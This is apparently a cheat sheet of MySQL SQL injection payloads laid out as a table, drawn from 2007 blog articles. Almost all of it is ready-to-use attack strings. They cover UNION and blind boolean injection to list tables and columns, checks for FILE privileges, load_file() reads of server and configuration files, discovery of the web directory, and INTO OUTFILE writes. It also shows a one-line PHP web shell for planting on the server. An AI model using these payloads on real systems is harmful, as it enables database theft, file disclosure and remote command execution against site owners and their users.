| get table and column names on MySQL | |
| Check version: |
0' UNION SELECT version(),null /* 0' UNION SELECT @@version,null /* 1' AND MID(version(),1,1) like '4 1' UNION SELECT (if(mid(version(),1,1) like 4, benchmark(100000,sha1(’test’)), ‘false’)),null /* |
| Read information_schema table (version >= 5.0) | |
| get tablenames |
0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '9 (note: version=9 has nothing to do with the MySQL version, leave as is) |
| get columnnames | 0' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = 'tablename |
| all in one | 0' UNION SELECT column_name,table_name FROM information_schema.columns /* |
| Read information_schema table blindly (version >= 5.0) | |
| get first tablename |
1' AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),1,1) > 'm 1' AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),2,1) > 'm ... (note: version=9 has nothing to do with the MySQL version, leave as is) |
| get next tablename |
1' AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 2,1),1,1) > 'm 1' AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 2,1),2,1) > 'm ... (note: version=9 has nothing to do with the MySQL version, leave as is) |
|
get first columnname (from table 'tablename') |
1' AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename' LIMIT 1),1,1) > 'm 1' AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename' LIMIT 1),2,1) > 'm ... |
|
get next columnname (from table 'tablename') |
1' AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename' LIMIT 2,1),1,1) > 'm 1' AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename' LIMIT 2,1),2,1) > 'm ... |
| Use error message (version = 4/5) | |
| get current columnname |
1'%'0 Query failed: Column 'id' cannot be null |
| Use FILE functions (FILE privilege required) | |
| get current user |
0' UNION SELECT current_user,null /* 0' UNION SELECT user(),null /* 1' AND user() LIKE 'root 1' AND MID((user()),1,1)>’m |
|
Check FILE priv (for user 'username') |
MySQL 4/5: 0' UNION SELECT file_priv,null FROM mysql.user WHERE user = 'username 1' AND MID((SELECT file_priv FROM mysql.user WHERE user = 'username'),1,1) = 'Y MySQL 5: 0' UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username% 1' AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'),1,1)='Y |
|
get max_allowed_packets (not essential) |
0' UNION SELECT @@max_allowed_packet,null /* (standard value is 1047552 Byte) |
|
get datadir (not essential) |
MysQL 4 (error message): 0' UNION SELECT load_file('a'),null/* MySQL 4/5: 0' UNION SELECT @@datadir,null /* |
| Use load_file() (version = 4/5) | Read script file | 0' UNION SELECT load_file('../../../var/www/path/file.php'),null /* |
| get database name | 0' UNION SELECT database(),null /* |
| Read database file |
0' UNION SELECT load_file('databasename/tablename.MYD'),null /* (you have to guess the tablename if steps above didn't worked out) |
| load_file() notes |
- file must be located on the server host - the basedirectory for load_file() is the datadir - you must have the FILE privilege - the file must be readable by all - the file size must be less than max_allowed_packet |
| Use INTO OUTFILE (version = 4/5) | |
|
get webdirectory through error messages |
read error from mysql_result(), mysql_free_result(), mysql_fetch_row() 0' AND 1='0 Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx |
|
get webdirectory through load_file() |
0' UNION SELECT load_file('../../../etc/apache/httpd.conf'),null /* 0' UNION SELECT load_file('../../../etc/apache2/apache.conf'),null /* |
| get OS |
0' UNION SELECT @@version,null /* ***-nt-log: Windows ***-log: *nix |
| guess webdirectory |
/var/www/html/ /var/www/web1/html/ /var/www/sitename/htdocs/ /var/www/vhosts/sitename/httpdocs/ |
| write tabledata to file | 0' UNION SELECT columnname,null FROM tablename INTO OUTFILE '../../web/dir/file.txt |
| write currently selected table to file | 1' OR 1=1 INTO OUTFILE '../../web/dir/file.txt |
| copy file to webdirectory | 0' AND 1=0 UNION SELECT load_file('…') INTO OUTFILE '… |
| create own files | 0' AND 1=0 UNION SELECT 'file content',null INTO OUTFILE '../../web/server/dir/file.php |
| useful file content |
PHP-shell <? system($_GET['c']); ?> webserver info <? phpinfo(); ?> SQL query <? ... $result = mysql_query($_GET['query']); ... ?> (include existing DB connect files or use load_file() to read credentials) |
| INTO OUTFILE notes |
- use INTO DUMPFILE to avoid splitting chars between the data - you can’t overwrite files with INTO OUTFILE - INTO OUTFILE must be the last statement in the query - there is no way to encrypt the pathname, so quotes are required - you can encrypt your 'file content' with char(), hex() and similar string functions |
| guess table/column names | |
| guess tablename | 0' UNION SELECT 'success',null FROM testname /* |
|
guess columnname (in table 'tablename') |
0' UNION SELECT 'success',testcolumn FROM tablename /* |
| Links | |
| original articles | http://websec.wordpress.com/2007/11/17/mysql-table-and-column-names/ http://websec.wordpress.com/2007/11/17/mysql-into-outfile/ |
| union select | http://dev.mysql.com/doc/refman/5.1/en/union.html |
| information-schema table | http://dev.mysql.com/doc/refman/5.0/en/information-schema.html |
| load_file() | http://dev.mysql.com/doc/refman/4.1/en/string-functions.html#function_load-file |
| MID() | http://dev.mysql.com/doc/refman/5.1/en/string-functions.html#function_substring |
| benchmark() | http://dev.mysql.com/doc/refman/5.0/en/information-functions.html#function_benchmark |